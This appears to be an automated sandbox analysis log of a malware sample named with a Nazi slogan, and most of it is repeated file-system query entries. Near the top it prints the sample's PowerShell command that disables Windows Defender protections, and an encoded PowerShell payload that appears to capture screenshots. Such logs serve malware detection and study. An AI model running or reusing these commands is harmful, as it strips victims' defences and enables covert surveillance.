ahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe

Code function: 68_2_00007FF702C4B340 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

68_2_00007FF702C4B340

Source: C:\Users\user\Desktop\HeilHitler.exe

Code function: 0_2_00007FF633D89570 cpuid

0_2_00007FF633D89570

Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\rarreg.key VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\VCRUNTIME140.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_decimal.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_hashlib.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\blank.aes VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_sqlite3.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74322 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Queries volume information: C:\Users\user\Desktop\HeilHitler.exe VolumeInformation	Jump to behavior
